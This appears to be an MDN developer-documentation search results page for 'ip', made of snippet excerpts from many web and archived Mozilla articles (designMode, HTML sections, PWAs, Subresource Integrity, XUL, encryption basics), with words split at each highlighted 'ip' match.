...n> internet explorer: <strong>i love geckos.</strong> <strong><em><u>dinosaurs are big.</u></em></strong> another difference between mozilla and ie is how to access the document object of an iframe, which is usually used in conjunction with designmode. mozilla uses the w3c standard way, namely iframeelement.contentdocument, while ie requires iframeelement.document. devedge provides a javascr
ipt helper class, xbdesignmode, which is a wrapper for the designmode feature which hides the differences between ie and mozilla. event handling disabled a further difference for mozilla is that once a document is switched to designmode, all events on that particular document are disabled. once designmode is turned off however (as this now seems possible in mozilla 1.5) the events become active ...
...of migrate apps from internet explorer to mozilla. examples please note: the example files are still being migrated from another site. they are not available at this time. --fumble 18:13, 24 apr 2005 (pdt) example 1 the first example is an html document setting its own designmode to "on". this makes the entire document editable in mozilla 1.3. ...
...And 8 more matches
Using HTML sections and outlines - Developer guides
r> <p>author info</p> <p>publication date</p> </footer> </article> </section> section element the section element is used for a thematic grouping of content. based on the w3c spec, a section should typically contain a heading. the heading does not require the use of the <header> element <section> <h1>amazing mdn contributors</h1> <ul> <li><img src="link" alt="descr
iptive text"></li> <li><img src="link" alt="descr
iptive text"></li> <li><img src="link" alt="descr
iptive text"></li> </ul> </section> aside element the <aside> element defines related content that has a different placement than the main content. it is often used for call-outs, blockquotes, and definitions. the <aside> element is often used for sidebars containing extra, but relevan...
...you do not nest an <aside> inside an <aside>. ...
... the <aside> element defines related content that has a different placement than the main content. it is often used for call-outs, blockquotes, and definitions. the <aside> element is often used for sidebars containing extra, but relevant, information. <section> <h1>amazing mdn contributors</h1> <ul> <li><img src="link" alt="descr
iptive text"></li> <li><img src="link" alt="descr
iptive text"></li> <li><img src="link" alt="descr
iptive text"></li> </ul> <aside> <p>to get involved contact</p> </aside> </section> nesting aside elements the <aside> element can be nested inside of other sectional html elements. you do not nest an <aside> inside an <aside>. meaning a call out box would not have a call-out box inside. using html5 elements in non-html5 brow...
...And 8 more matches
Index - Developer guides
found 43 pages: # page tags and summary 1 developer guides api, guide, landing, web these articles provide how-to information to help make use of specific web technologies and apis. ...
... found 43 pages: # page tags and summary 1 developer guides api, guide, landing, web these articles provide how-to information to help make use of specific web technologies and apis. ...
... 5 wai aria live regions/api support ajax, accessibility firefox 3 contains important improvements to the way the mozilla engine exposes live changes in a document. ...
...And 8 more matches
itemscope - HTML: Hypertext Markup Language
d an itemtype attribute, you may also specify an id attribute. you can use the id attribute to set a global identifier for the new item. a global identifier allows the item to relate to other items found on pages across the web. example there are four itemscope attributes in the following example. each itemscope attribute sets the scope of its corresponding itemtype attribute. ...
...he new item. a global identifier allows the item to relate to other items found on pages across the web. example there are four itemscope attributes in the following example. each itemscope attribute sets the scope of its corresponding itemtype attribute. the itemtypes, rec
ipe, aggregaterating, and nutritioninformation in the following example are part of the schema.org structured data for a rec
ipe, as specified by the first itemtype, http://schema.org/rec
ipe. ...
... there are four itemscope attributes in the following example. each itemscope attribute sets the scope of its corresponding itemtype attribute. the itemtypes, rec
ipe, aggregaterating, and nutritioninformation in the following example are part of the schema.org structured data for a rec
ipe, as specified by the first itemtype, http://schema.org/rec
ipe. ...
...And 8 more matches
Web audio codec guide - Web media technologies
factors affecting the enco...
... of the sound. upon decoding audio compressed with a lossless codec such as flac or alac, the result is identical in every way to the original sound, down to the bit. lossy codecs, on the other hand, take advantage of the fact that the human ear is not a perfect interpreter of audio, and of the fact that the human brain can pluck the important information out of imperfect or noisy audio. they str
ip away audio frequencies that aren't used much, tolerate loss of precision in the decoded output, and use other methods to lose audio content, quality, and fidelity to produce smaller encoded media. upon decoding, the output is, to varying degrees, still understandable. the specific codec used--and the compression configuration selected--determine how close to the original, uncompressed audio signa...
...audio channels written in the form x.y (such as 2.1 or 5.1), the number after the decimal point, y, is the number of lfe channels. for example, mp3 supports one lfe channel, while aac supports up to 16. in addition to providing audio for specific speakers in a sound system, some codecs may allow audio channels to be used to provide alternative audio, such as vocals in different languages or descr
iptive audio for visually impaired people. audio frequency bandwidth the audio frequency bandwidth of a codec indicates the range of audio frequencies that can be represented using the codec. some codecs operate specifically by eliminating audio that falls outside a given frequency range. there is a correlation between the sample rate and the maxium sound frequency that can be represented by a wav...
...And 8 more matches
Progressive web app structure - Progressive web apps (PWAs)
and you can mix the two approaches to some degree. server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new html content. it works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance -- loading a page requires a new round tr
ip to the server. client-side rendering (csr) allows the website to be updated in the browser almost instantly when navigating to different pages, but requires more of an initial download hit and extra rendering on the client at the beginning. the website is slower on an initial visit, but can be faster to navigate. mixing ssr with csr can lead to the best results -- you can render a website on t...
...ieved with the streams api. with a little help from service workers, streams can greatly improve the way we parse content. the app shell model requires all the resources to be available before the website can start rendering. it's different with html, as the browser is actually streaming the data already and you can see when the elements are loaded and rendered on the website. to have the javascr
ipt "operational", however, it has to be downloaded in its entirety. the streams api allows developers to have direct access to data streaming from the server -- if you want to perform an operation on the data (for example, adding a filter to a video), you no longer need to wait for all of it to be downloaded and converted to a blob (or whatever) -- you can start right away. it provides fine-graine...
... it is available, it will be the fastest way of serving the content -- the benefits are going to be huge in terms of performance. for working examples and more information, see the streams api documentation. ...
...And 8 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
and you can mix the two approaches to some degree. server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new html content. it works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance -- loading a page requires a new round tr
ip to the server. client-side rendering (csr) allows the website to be updated in the browser almost instantly when navigating to different pages, but requires more of an initial download hit and extra rendering on the client at the beginning. the website is slower on an initial visit, but can be faster to navigate. the best results tend to come when you use both client-side and server-side rende...
...ieved with the streams api. with a little help from service workers, streams can greatly improve the way we parse content. the app shell model requires all the resources to be available before the website can start rendering. it's different with html, as the browser is actually streaming the data already and you can see when the elements are loaded and rendered on the website. to have the javascr
ipt actually work, however, it has to be downloaded in its entirety. the streams api allows developers to have direct access to data streaming from the server. if you want to perform an operation on the data (for example, adding a filter to a video), you no longer need to wait for all of it to be downloaded and converted to a blob (or whatever). instead, you can start right away. it provides fine-g...
...will be the fastest way to serve your app's content. the performance benefits will be truly spectacular. for working examples and more information, see the streams api documentation. structure of a sample application the js13kpwa web site's structure is quite simple. it consists of a single html file (index.html), with basic css styling provided in style.css. also included are a few images, scr
ipts, and fonts. the file and folder hierarchy looks like this: app.js data/ games.js img/ favicon.ico fonts/ icons/ img/ bg.png js13kgames.png index.html js13kpwa.webmanifest style.css sw.js the html the html in the file index.html creates the structure of the app. the parts that are directly relevant to the app shell model are found outside the <section> with t...
...And 8 more matches
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
note: references to svg in external files must be to the same origin as the referencing document. using embedded svg to apply an svg effect using css styles, you first need to create the css style that references the svg to apply. ...
...; display: inline-block; } note that in the css, the mask is specified using a url to the id #mask-1, which is the id of the svg mask specified below it. everything else specifies details about the gradient mask itself. applying the svg effect to (x)html is accomplished by assigning the target class defined above to an element, like this: <p class="target" style="background:lime;"> lorem
ipsum dolor sit amet, consectetur ad
ipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam. </p> <p> lorem
ipsum dolor sit amet, consectetur ad
ipisicing <b class="target">elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</b> ut enim ad minim veniam. </p> the above example would be rendered with the mask ...
...ur ad
ipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam. </p> <p> lorem
ipsum dolor sit amet, consectetur ad
ipisicing <b class="target">elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</b> ut enim ad minim veniam. </p> the above example would be rendered with the mask applied to it. example: cl
ipping this example demonstrates using svg to cl
ip html content. notice that even the clickable areas for links are cl
ipped. <p class="target" style="background:lime;"> lorem
ipsum dolor sit amet, consectetur ad
ipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam. ...
...And 8 more matches
Subresource Integrity - Web security
subresource integrity (sri) is a security feature that enables browsers to verify that resources they fetch (for example, from a cdn) are delivered without unexpected man
ipulation. it works by allowing you to provide a cryptographic hash that a fetched resource must match. note: for subresource-integrity verification of a resource served from an origin other than the document in which it's embedded, browsers additionally check the resource using cross-origin resource sharing (cors), to ensure the origin serving the resource allows it to be shared with the requesting origin. how subresource integrity helps using content delivery networks (cdns) to host files such as scr
ipts and stylesheets that are shared among mult
iple sites can improve site performance and conserve bandwidth. h...
...vered without a third-party having injected any additional content into those files -- and without any other changes of any kind at all having been made to those files. using subresource integrity you use the subresource integrity feature by specifying a base64-encoded cryptographic hash of a resource (file) you're telling the browser to fetch, in the value of the integrity attribute of any <scr
ipt> or <link> element. an integrity value begins with at least one string, with each string including a prefix indicating a particular hash algorithm (currently the allowed prefixes are sha256, sha384, and sha512), followed by a dash, and ending with the actual base64-encoded hash. note: an integrity value may contain mult
iple hashes separated by whitespace. a resource will be loaded if it match...
... sha384 hash: sha384-oqvuafxrkap7fdgccy5uykm6+r9gqq8k/uxy9rx7hnqlgyl1kpzqho1wx4jwy8wc so oqvuafxrkap7fdgccy5uykm6+r9gqq8k/uxy9rx7hnqlgyl1kpzqho1wx4jwy8wc is the "hash" part, and the prefix sha384 indicates that it's a sha384 hash. note: an integrity value's "hash" part is, strictly speaking, a cryptographic digest formed by applying a particular hash function to some input (for example, a scr
ipt or stylesheet file). but it's common to use the shorthand "hash" to mean cryptographic digest, so that's what's used in this article. tools for generating sri hashes you can generate sri hashes from the command-line with openssl using a command invocation such as this: cat filename.js | openssl dgst -sha384 -binary | openssl base64 -a or with shasum using a command invocation such as this: ...
...And 8 more matches
content/symbiont - Archive of obsolete content
used by sdk modules that can load web content and attach content scr
ipts to it. usage a symbiont loads the specified contenturl and content scr
ipts into a frame, and sets up an asynchronous channel between the content scr
ipts and the add-on code, enabling them to exchange messages using the port or postmessage apis. you map optionally pass a frame into the symbiont's constructor: if you don't, then a new hidden frame will be created to host the content. this trait is composed from the loader and worker traits. it inherits functions to load and configure content scr
ipts from the loader, and functions to exchange messages between content scr
ipts and the main add-on code from the worker. var { symbiont } = require('sdk/content/content'); var thing = symbiont.resolve({ constructor: '_init...
...s) } }); see the panel module for a real-world example of usage of this module. globals constructors symbiont(options) creates a content symbiont. parameters options : object optional options: name type frame object the host application frame in which the page is loaded. if frame is not provided hidden one will be created. ...
...ple of usage of this module. globals constructors symbiont(options) creates a content symbiont. parameters options : object optional options: name type frame object the host application frame in which the page is loaded. if frame is not provided hidden one will be created. contentscr
iptwhen string when to load the content scr
ipts. ...
...And 7 more matches
Storing annotations - Archive of obsolete content
= annotationtext; this.url = anchor[0]; this.ancestorid = anchor[1]; this.anchortext = anchor[2]; } now we need to link this code to the annotation editor, so that when the user presses the return key in the editor, we create and store the new annotation: var annotationeditor = panels.panel({ width: 220, height: 220, contenturl: data.url('editor/annotation-editor.html'), contentscr
iptfile: data.url('editor/annotation-editor.js'), onmessage: function(annotationtext) { if (annotationtext) handlenewannotation(annotationtext, this.annotationanchor); annotationeditor.hide(); }, onshow: function() { this.postmessage('focus'); } }); listing stored annotations to prove that this works, let's implement the part of the add-on that displays all the previously...
...annotationeditor.hide(); }, onshow: function() { this.postmessage('focus'); } }); listing stored annotations to prove that this works, let's implement the part of the add-on that displays all the previously entered annotations. this is implemented as a panel that's shown in response to the widget's right-click message. ...
... a panel that's shown in response to the widget's right-click message. the panel has three new files associated with it: a content-scr
ipt which builds the panel content a simple html file used as a template for the panel's content a simple css file to provide some basic styling. these three files can all go in a new subdirectory of data which we will call list. ...
...And 7 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
include these rights. the user is free to use (duplicate, distribute, and modify) the source code, following certain conditions. this means that the author is granting users the use of the work in the strong, authorial sense, and when i write "use" in the rest of this document it is generally in that sense. these conditions will vary from one license to the next, but the open source definition st
ipulates the following minimum conditions: the integrity of the author's source code must be preserved; no discrimination may be made against individuals or organizations; no discrimination may be made based on field of endeavor; no additional licensing can be required when redistributing; license must not be specific to a product; license must not interfere with other software. the "no di...
...ing open source start with the gpl. this is the longest, most complicated, and hardest to understand. so instead, i'm going to start with the simplest, the modified bsd license. the table below shows a few well-known software titles and their licenses license representative software titles modified bsd freebsd, netbsd, openbsd mpl firefox, thunderbird (also tr
iple-licensed mpl/lgpl/gpl) gpl linux kernel, gimp lgpl gtk+, openoffice.org modified bsd license this license permits free duplication, distribution, and modification provided that a copyright statement and liability disclaimer are included. modifications to bsd-licensed software can be published under commercial licenses or other different licenses. this is often ju...
...an modification of this source code must display the name of the original developer." this clause has been removed. the modified bsd license is the version that does not include the advertising clause. mozilla public license (mpl) this is an oss license created by netscape and the mozilla organization. netscape created it for its open-source web browser. the common public license (cpl) and ecl
ipse public license (epl) are similar in substance. because the cpl is written in such a way that it does not mention any software or company by name, you can use the cpl if you plan to use this kind of licensing. license characteristics if you modify source code that was published under this license, you are obliged to release it under the same license. however, if you develop an original module ...
...And 7 more matches
Setting Up a Development Environment - Archive of obsolete content
ent system will do. to package xpi files, we use make. we chose make because this is the same system used by mozilla to build firefox, and it is available for all operating systems. make is a default tool in most unix-based systems. it can be installed on mac os x as part of the xcode tools package, and on windows with cygwin. in cygwin installations you'll have to explicitly check the make and z
ip utilities from the long list of packages to download and install. also make sure that make is in the executable system path. after setting up make, you should be able to open a command line window, run "make -ver", and get the installed version of make as output. we recommend you set up make in your system, since our examples come with all the necessary files to build and install the resulting ...
...and get the installed version of make as output. we recommend you set up make in your system, since our examples come with all the necessary files to build and install the resulting xpi using this tool. it will save you some packaging time. or you can create an equivalent system using batch, ant or whatever you prefer. ultimately you can just compress the contents of the src directory using any z
ip or archive tool and get a similar result. build system let's start by downloading the project used to build the second version of hello world, from the exercise in the last section. hello world 2 project. unz
ip the file anywhere you want. inside the helloworld2 directory, you'll see two directories: bin and src. the bin directory should be empty. this is where all the resulting build files wi...
...e for your add-on, make sure you choose an easy name for the profile folder, and set it in your makefile in order to take advantage of the install command. building idl files some extensions require developing xpcom components to add certain advanced functions. there's a section dedicated to xpcom in this tutorial, but we'll briefly discuss the impact it has on building the extension. you can sk
ip this section and keep it present as a reference in case you do need to use xpcom in your project. xpcom interfaces are defined using idl files. these are text files that define the attributes and methods in one or more interfaces. these idl files are compiled into binary form and included in the extension as xpt files. to compile an idl file to xpt, you need a command line tool called xpidl. th...
...And 7 more matches
Creating a dynamic status bar extension - Archive of obsolete content
<< previousnext >> this article builds upon the article creating a status bar extension, which creates a static status bar panel in the firefox status bar, by dynamically updating its content with information fetched from the web every few minutes. specifically, this sample displays a stock quote in the status bar, and, when you mouse over it, displays a toolt
ip containing more detailed information about the stock. concepts covered in the previous sample won't be reiterated here; instead, refer to the downloadable sample code or to the previous sample for further details. download the sample you can download a copy of this sample to look over, or to use as the basis for your own extension. or, if you've already got the code from the creating a status bar extension sample, you ...
...details. update the chrome manifest the chrome manifest needs only a minor update from the previous sample; simply replace the id of the first sample, "status-bar-sample-1", with the name of the new sample, "stockwatcher". if you need to brush up, visit the chrome manifest section. ...
...tockwatcher". if you need to brush up, visit the chrome manifest section. ...
...And 7 more matches
Creating a status bar extension - Archive of obsolete content
ple to look over -- or to use as the basis for your own extension. download the sample the install manifest the install manifest, install.rdf, is a text file containing information that tells the host application important information about the extension. ...
...t the extension. ...
...xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <descr
iption about="urn:mozilla:install-manifest"> <em:id>status-bar-sample-1@example.com</em:id> <em:version>1.0</em:version> <em:type>2</em:type> <!-- front end metadata --> <em:name>status bar sample 1</em:name> <em:descr
iption>sample static status bar panel</em:descr
iption> <em:creator>my name</em:creator> <em:homepageurl>http://developer.mozilla.org/en/docs/creating_a_status_bar_extension</em:homepageurl> <!-- describe the firefox versions we support --> <em:targetapplication> <descr
iption> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>2.0.0.*</em:maxversion> </des...
...And 7 more matches
No Proxy For configuration - Archive of obsolete content
an optional field, part of "manual proxy configuration". the field is relatively short, but can hold reasonably long (2k+ characters) entries. new profiles contain the values "localhost, 127.0.0.1", by default. entry points: preferences | advanced | proxies control-click menu for off line-online icon (network plug) configuration the no proxy list is composed of either domain elements or
ipv4 address elements. the elements are separated by either a space (" ") or a comma (","). note for former-ie users: "*" is supported only at the beginning of domain filters (*.mozilla.org). to block ... put this into "no proxy for" ...for example use... limitations a domain, including sub-domains domain suffix "mozilla.org" does not block domains that end in...
...does not block the main domain (mozilla.org) a hostname (without domain) hostname-only (see problems below) "localhost" also blocks any possible domains that start with the entry ("www.otherdomain.localhost") a hostname (with domain) domain name "www.mozilla.org" does not block hostnames or domains that end in the same string (other-www.mozilla.org) an
ip address
ip address "1.2.3.4" does not block hostnames that resolve to the
ip address ("127.0.0.1" does not block "localhost") a network network w/ cidr block "10.0.0.0/8" does not block hostnames that resolve to the
ip address range (10.0.0.0/8 is not "no proxy for intranet hostnames") optional - port-specific (optional) ":" + port number "<filter>:81" ...
...port-only filters ":80" or "*:80" are not supported. all non-fqdn hosts, such as intranet hosts the string "<local>" (without quotes) "<local>" bypasses the proxy for all hostnames which have no periods in them. ...
...And 7 more matches
Making it into a static overlay - Archive of obsolete content
t users can run from within mozilla to add the extension to their mozilla installation. most extensions are distributed as installer packages, and that's how we'll distribute our extension. integrating extensions into the mozilla codebase is beyond the scope of this tutorial, but for more information see mozilla.org's hacking documentation. mozilla installer packages are called xpis (pronounced "z
ippies"), which stands for cross-platform installer. the packages are just standard z
ip archives of the files to be installed along with a javascr
ipt scr
ipt that performs the installation and some rdf files that describe the components being installed for the chrome registry. because our extension modifies an existing file in the mozilla distribution, before we package it up we need to separate the ...
... package it up we need to separate the modifications into a different file and add them back in at run time via a dynamic xul overlay. a xul overlay is a xul file containing elements to be inserted into another xul file when the other xul file is rendered into an application interface. static overlays are added to a xul file via a reference at the top of the file (much like stylesheets and javascr
ipt scr
ipts). dynamic overlays are added to a xul file via a reference in the chrome registry. overlays provide a way to break up a large xul file into several different files (one that describes the overall structure of an application window and the others to implement specific portions of the window) to improve code readability, maintainability, and extensability. dynamic overlays also make it pos...
...ay. ...
...And 7 more matches
Getting Started - Archive of obsolete content
r containing seamonkey is called folder_with_seamonkey in this manual. extract theme while you can hypothetically begin with any theme already designed for seamonkey 2, for the sake of consistency we'll speak as though everyone is editing classic (default seamonkey theme). this is located in the file classic.jar found in the seamonkey 2 installation directory. a .jar file is in reality a renamed z
ip archive. opening the .jar files in your archive manager of choice should result in the file being automatically detected as being a z
ip archive. however, if your application doesn't detect classic.jar as a standard z
ip archive, rename the file classic.z
ip and continue extraction. classic.jar locations linux: folder_with_seamonkey/chrome/classic.jar windows: folder_with_seamonkey\chrome\classic.ja...
...hat define the appearance of the suite. this is the most critical directory in a theme. skin\classic\help help contains all the files for theming the help dialog window. skin\classic\messenger messenger contains styles of the mail client. skin\classic\messenger-newsblog messenger-newsblog contains the only css file. skin\classic\mozapps mozapps contains all the styles and icons for the browser per
ipherals, such as the extension manager or update wizard. skin\classic\navigator navigator contains some icons and styles for all sm components. install your new theme before you can see the changes you make to a seamonkey theme (since live edits are restrictively difficult to set up) you must first learn how to repackage the classic theme to make it installable. for the sake of this discussion we ...
...first learn how to repackage the classic theme to make it installable. for the sake of this discussion we will call your theme "my_theme", though you can replace that with any name. copying the necessary files the first step is to move all the files into the right directory structure. so create a new directory called my_theme. create a directory called chrome inside it. into this directory put a z
ip archive called my_theme.jar containing navigator, global, communicator, editor, help, messenger, messenger-newsblog and mozapps directories from above. (yes, this means that the structure of your new directory and classic.jar will be slightly different.) creating the install files icon.png and preview.png these are some png images containing the icon and the preview of the theme. chrome.manifest ...
...And 7 more matches
Embedding FAQ - Archive of obsolete content
etailed information on what interfaces are required and which are optional to impelement here. scroll down to "initalization and teardown. how to customize document retrieval one method is to implement your own protocol method. you can find more information on adding new protocols here how to embedding mozilla inside of java there hasn't been any good code examples found. ...
...s are required and which are optional to impelement here. scroll down to "initalization and teardown. how to customize document retrieval one method is to implement your own protocol method. you can find more information on adding new protocols here how to embedding mozilla inside of java there hasn't been any good code examples found. however, there is a str
ipped down, uncommented code with ecl
ipse libraries in this thread. ...
...down to "initalization and teardown. how to customize document retrieval one method is to implement your own protocol method. you can find more information on adding new protocols here how to embedding mozilla inside of java there hasn't been any good code examples found. however, there is a str
ipped down, uncommented code with ecl
ipse libraries in this thread. ...
...And 7 more matches
Introducing the Audio API extension - Archive of obsolete content
it triggers a loadedmetadata event. this event has the following attributes: mozchannels: number of channels mozsamplerate: sample rate per second mozframebufferlength: number of samples collected in all channels this information is needed later to decode the audio data stream. ...
...mples collected in all channels this information is needed later to decode the audio data stream. ...
...once the buffer is full, the event mozaudioavailable is triggered. ...
...And 7 more matches
Venkman - Archive of obsolete content
venkman is the code name for mozilla's javascr
ipt debugger. it aims to provide a powerful javascr
ipt debugging environment for mozilla based browsers namely firefox, netscape 7.x/9.x and seamonkey. note that it is not included in the gecko-based browsers such as k-meleon, galeon and netscape 8.x. venkman has been provided as part of the mozilla install distribution since october 2001, as well as an extension package in xpi format. documentation venkman introduction an overview and some practical examples of using the javascr
ipt debugger in web development. using breakpoints in venkman this article describes breakpoints in javascr
ipt and how to use venkman to set and examine breakpoints. learning the javasc...
... venkman faq answers to common questions on venkman. ...
... venkman faq answers to common questions on venkman. venkman internals notes on venkman source code. venkman development page older news and releases. ...
...And 7 more matches
Complete - Archive of obsolete content
nstead it explains the missing features, and outlines how to add them. if you want to see these techniques in action, then you can download and install the complete allcustom extension: allcustom.xpi (the link is external only because this wiki does not support xpi files.) the extension does not contain any useful functions. it is just an extended code sample. to see the code, use a jar tool or z
ip tool to unpack the xpi file that you downloaded. for more information about developing extensions, see the main extensions page here. features of this extension this extension is a more complex version of the original custom toolbar button extension. it provides a user interface in two languages (english and french). it supports firefox, thunderbird, sunbird and flock--these are referred to as "f...
...le name, the application uses this default file name and an extension appropriate for the type of file expected. the extension is supplied as a xpi, which is compressed to reduce download times. the xpi contains: install.rdf information about the extension chrome.manifest registration data for firefox etc. ...
...check extensions for compatibility before installing them. ...
...And 7 more matches
Adding Properties to XBL-defined Elements - Archive of obsolete content
with xbl, you can define your own properties for the elements you create. you can also add methods that can be called. that way, all you need is to get a reference to the element (using document.getelementbyid or a similar function) and then get or set the additional properties and call the methods on it. there are three types of items you can add. fields are used to hold a simple value. ...
...-name-1"> -- method content goes here -- </method> . . . </implementation> </binding> fields each field is defined using the field element. often, fields would correspond to an attribute placed on the element such as label or disabled, but they do not have to. the name attribute on the field element is used to indicate the name of the field. you can use the name from a scr
ipt to get and set the value. the example below creates a button which generates and stores a random number. you can retrieve this same number mult
iple times by getting the number property from the button. most of the work here is done in the oncommand handlers. later, we'll find out how to move this to xbl. xul: <box id="random-box" class="randomizer"/> <button label="generate" oncomma...
...been placed inside either the xul box or its definition in xbl, which is perfectly valid. this example isn't quite correct because the field is not assigned a default value. to do this, add the default value as the content of the field tag. for example: <field name="number"> 25 </field> this will assign the value 25 as the default value of the number field. actually, you can instead place a scr
ipt inside the field tag that evaluates to the default value. that might be necessary if the value needs to be computed. for example, the following field is given a default value equal to the current time: <field name="currenttime"> new date().gettime(); </field> properties sometimes you will want to validate the data that is assigned to a property. or, you may want the value to be calculated dyn...
...And 7 more matches
XUL Structure - Archive of obsolete content
access preferences and bookmarks and perform other privileged operations. obviously, web pages do not get these privileges, unless they are signed with a digital certificate and the user has granted permission to perform these operations. this chrome package registration is the way firefox extensions are able to add features to the browser. the extensions are small packages of xul files, javascr
ipt, style sheets and images packed together into a single file. these packaged files can be created by using a z
ip utility. when the user downloads the z
ipped file, the packaged files will be installed onto the user's machine. the extension will hook into the browser using a xul specific feature called an overlay which allows the xul from the extension to mesh with the xul in the browser. to the us...
...code in a similar way, but, of course, the xul for the application will be included as part of the installation, instead of having to be installed separately as an extension. however, this xul code will be registered in the chrome system such that the application can display the ui. it is worth noting that the mozilla browser itself is actually just a set of packages containing xul files, javascr
ipt and style sheets. these files are accessed via a chrome url and have enhanced privileges and work just like any other package. of course, the browser is much larger and more sophisticated than most extensions. firefox and thunderbird, as well as number of other components are all written in xul and are all accessible via chrome urls. you can examine these packages by looking in the chrome direct...
...ges and open them with enhanced privileges. html, xml, and xul each have a different document type. some features may be used in any document type whereas some features are specific to one kind of document. the next few sections describe the basic structure of a chrome package which can be installed into mozilla. however, if you just want to get started building a simple application, you may sk
ip ahead to creating a window and save this section for later. package organization mozilla is organized such that you can have as many components as you want pre-installed. each extension is something of a standalone component with a separate chrome url. mozilla also has one component for each installed theme and locale. each of these components, or packages, is made up of a set of files that des...
...And 7 more matches
XUL Questions and Answers - Archive of obsolete content
a scheme is in development to allow servers to open up their site for cross-site access, but that's not yet done. hidechrome="true" doesn't work on a mac? unfortunately, no simple solution to this was posted. a workaround is to open the content in a new window using "window.open" and send titlebar="no" as one of the flags in the 3rd argument. is it possible to have checkbox s...
...w> list box handlers can only check for listitems not listcells. if user wants checkbox support for multicolumn lists, then they will have to implement one. are xul attributes integers? xul attributes such as left="100" or top="200", as well as corresponding properties, look as if they're integers but they are actually handled as strings. to convert them to integers use the parseint() javascr
ipt function. while the attributes are always strings per the dom specification, the properties will eventually be fixed to return the value with the correct type. using the "icon" attribute on a button from xulplanet.com reference: this attribute should be used to set the usage for common buttons. some platforms display these buttons with a small icon indicating their usage. this should be ...
... building the menupopup using dom methods (such as document.createelementns). by getting data as xml from the server. (server can just send the xul code to use for popup - alternatively it can send generic xml describing the attributes of the items in the menu and you generate the xul on client by applying an xslt transform.) can i change a xul tree cell/row/item background color with javascr
ipt? to set the background color you need to set the property for the cell/row and not for the item. an example of this is: var tree = document.getelementbyid('treeid'); selectedtreeitem = tree.view.getitematindex(tree.currentindex); selectedtreeitem.firstchild.setattribute('style', 'background: #ff0000'); what is an example of tab browser in xul? an example of tab browswer in xul how ca...
...And 7 more matches
richlistbox - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] this element is used to create a list of listitems (richlistitems), similar to a listbox, but is designed to be used when the items do not contain simple text content. note: in versions of firefox prior to firefox 3, rich list boxes support only single selection. firefox 3 introduced mult
iple selection to rich list boxes. attributes disabled, disablekeynavigation, preference, seltype, suppressonselect, tabindex, value properties accessibletype, currentindex, currentitem, disabled, disablekeynavigation, itemcount, scrollboxobject, selectedcount, selectedindex, selecteditem, selecteditems, seltype, suppressonselect, tabindex, value methods additemtoselection, appenditem, clearsel...
...you can click on any richlistitem element and use the keyboard to move the selection around. attributes disabled type: boolean indicates whether the el...
...you can click on any richlistitem element and use the keyboard to move the selection around. attributes disabled type: boolean indicates whether the element is disabled ...
...And 7 more matches
Encryption and Decryption - Archive of obsolete content
in most cases, two related functions are employed, one for encryption and the other for decryption. ...
...in most cases, two related functions are employed, one for encryption and the other for decryption. ...
...entiality and authentication. a person with an unauthorized symmetric key not only can decrypt messages sent with that key, but can encrypt new messages and send them as if they came from one of the two parties who were originally using the key. symmetric-key encryption plays an important role in the ssl protocol, which is widely used for authentication, tamper detection, and encryption over tcp/
ip networks. ssl also uses techniques of public-key encryption, which is described in the next section. public-key encryption the most commonly used implementations of public-key encryption are based on algorithms patented by rsa data security. therefore, this section describes the rsa approach to public-key encryption. public-key encryption (also called asymmetric encryption) involves a pair of ...
...And 7 more matches
VBArray.dimensions - Archive of obsolete content
microsoft extension and is only supported in internet explorer. the vbarray.dimensions method returns the number of dimensions in a vbarray. syntax array.dimensions( ) remarks the required array is a vbarray object. example the dimensions method provides a way to retrieve the number of dimensions in a specified vbarray. the following example consists of three parts. ...
...rray.dimensions method returns the number of dimensions in a vbarray. syntax array.dimensions( ) remarks the required array is a vbarray object. example the dimensions method provides a way to retrieve the number of dimensions in a specified vbarray. the following example consists of three parts. the first part is vbscr
ipt code to create a visual basic safe array. ...
...etrieve the number of dimensions in a specified vbarray. the following example consists of three parts. the first part is vbscr
ipt code to create a visual basic safe array. the second part is javascr
ipt code that determines the number of dimensions in the safe array and the upper bound of each dimension. both of these parts go into the <head> section of an html page. the third part is the javascr
ipt code that goes in the <body> section to run the other two parts. ...
...And 7 more matches
VBArray.lbound - Archive of obsolete content
t is a microsoft extension and is only supported in internet explorer. the vbarray.lbound method returns the lowest index value used in the specified dimension of a vbarray. syntax safearray.lbound(dimension) remarks if the vbarray is empty, the lbound method returns undefined. ...
...eater than the number of dimensions in the vbarray, or is negative, the method generates a "subscr
ipt out of range" error. parameters safearray a vbarray object. dimension optional optional. the dimension of the vbarray for which the lower bound index is wanted. if omitted, lbound behaves as if a 1 was passed. example the following example consists of three parts. the first part is vbscr
ipt code to create a visual basic safe array. the second part is javascr
ipt code that determines the number of dimensions in the safe array and the lower bound of each dimension. since the safe array is created in vbscr
ipt rather than visual basic, the lower bound will always be zero. ...
...e first part is vbscr
ipt code to create a visual basic safe array. the second part is javascr
ipt code that determines the number of dimensions in the safe array and the lower bound of each dimension. since the safe array is created in vbscr
ipt rather than visual basic, the lower bound will always be zero. both of these parts go into the <head> section of an html page. the third part is the javascr
ipt code that goes in the <body> section to run the other two parts. ...
...And 7 more matches
Archived open Web documentation - Archive of obsolete content
standards css obsolete css features displaying notifications (deprecated) firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside the context of the web content, using the standard notification system provided by the operating system. e4x ecmascr
ipt for xml (e4x) is a programming language extension that adds native xml support to javascr
ipt. it does this by providing access to the xml document in a form that feels natural for ecmascr
ipt programmers. the goal is to provide an alternative, simpler syntax for accessing xml documents than via dom interfaces. a valid alternative to e4x is a non-native jxon algorithm. ...
...oviding access to the xml document in a form that feels natural for ecmascr
